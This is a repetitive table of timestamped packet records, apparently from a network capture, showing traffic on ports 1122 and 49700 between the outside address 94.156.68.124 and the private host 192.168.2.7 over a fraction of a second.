Sep 25, 2024 01:11:13.124787092 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.124804974 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.124820948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.124835968 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.124850988 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.124861956 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.124890089 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.125088930 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.125103951 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.125118017 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.125132084 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.125147104 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.125149012 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.125158072 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.125189066 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.125364065 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.125380039 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.125427961 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.125525951 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.125540018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.125555038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.125569105 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.125583887 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.125602961 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.125608921 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.125622034 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.125626087 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.125641108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.125648975 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.125659943 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.125674963 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.126060963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.126075983 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.126091003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.126104116 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.126105070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.126121998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.126130104 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.126138926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.126154900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.126176119 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.126214981 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.129834890 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.129873991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.129889011 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.129929066 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.129981041 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.129996061 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130009890 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130019903 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.130024910 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130120993 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130136967 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130151033 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.130192041 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.130223036 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130239010 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130281925 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.130320072 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130335093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130367994 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.130419970 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130434990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130449057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130464077 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130485058 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.130486965 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130523920 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.130523920 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.130574942 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130588055 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130631924 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.130676985 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130692959 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130706072 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130719900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130745888 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.130772114 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.130868912 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130884886 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130899906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130916119 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.130944014 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.130975008 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.131021023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131036043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131058931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131072044 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131078959 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.131088018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131103039 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131117105 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131131887 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131140947 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.131140947 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.131146908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131167889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131172895 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.131205082 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.131402969 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131417990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131551027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131572962 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131587029 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131596088 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.131603003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131618977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131628990 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.131639004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131644964 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.131655931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.131695986 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.180644035 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.180680037 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.180694103 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.180718899 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.180735111 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.180748940 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.180798054 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.180850983 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.180866957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.180881023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.180911064 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.181003094 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.181016922 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.181031942 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.181037903 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.181046963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.181060076 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.181081057 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.181102991 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.181175947 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.181191921 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.181235075 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.181294918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.181310892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.181438923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.181453943 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.181469917 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.181480885 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.181487083 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.181503057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.181512117 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.181524992 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.181719065 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.181736946 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.181751013 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.181771994 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.181796074 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.209455013 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.209515095 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.209530115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.209580898 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.209595919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.209610939 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.209626913 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.209660053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.209660053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.209660053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.209763050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.209800959 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.209815979 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.209898949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.209912062 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.209925890 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.209943056 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.209956884 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.209990025 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.210009098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.210047960 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.210124016 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.210148096 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.210164070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.210191011 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.211163044 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211194038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211209059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211235046 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.211257935 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.211333990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211350918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211365938 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211400032 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211420059 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.211607933 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211623907 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211638927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211651087 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.211654902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211673021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211680889 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.211697102 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.211774111 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211867094 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211880922 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211903095 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211910009 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.211926937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211937904 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.211941957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211957932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.211967945 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.211972952 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.212001085 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.212285995 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.212301970 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.212342978 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.212449074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.212470055 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.212492943 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.212507963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.212508917 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.212523937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.212536097 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.212538958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.212554932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.212565899 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.212569952 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.212585926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.212601900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.212614059 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.212629080 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.212663889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.212681055 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.212708950 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.213077068 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.213095903 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.213136911 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.216784954 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.216810942 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.216825962 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.216881037 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.216912985 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.216983080 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.216998100 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217014074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217029095 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217040062 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.217045069 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217071056 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.217135906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217150927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217175007 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217190027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217190981 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.217206955 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217215061 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.217247963 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.217427015 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217442036 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217458010 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217473984 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217484951 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.217489004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217524052 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.217576981 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217592001 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217611074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217617035 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.217623949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217648029 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.217725992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217741966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217765093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217780113 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.217781067 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217808962 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.217947006 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217962980 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217977047 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.217989922 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.218003988 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.218020916 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.218106031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.218122005 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.218137026 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.218153000 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.218163013 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.218178988 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.218255043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.218270063 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.218285084 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.218298912 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.218311071 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.218338966 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.218352079 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.218369007 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.218381882 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.218391895 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.218398094 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.218411922 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.218420982 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.218427896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.218442917 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.218455076 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.218482018 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.218661070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.259021997 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.267546892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.267580032 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.267594099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.267642975 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.267658949 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.267673016 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.267740965 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.267740965 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.267787933 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.267916918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.267931938 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.267946959 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.267959118 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.267976999 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.267993927 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.268019915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.268035889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.268050909 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.268081903 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.268260002 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.268276930 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.268292904 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.268306971 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.268307924 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.268323898 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.268337965 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.268338919 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.268353939 CEST	1122	49700	94.156.68.124	192.168.2.7
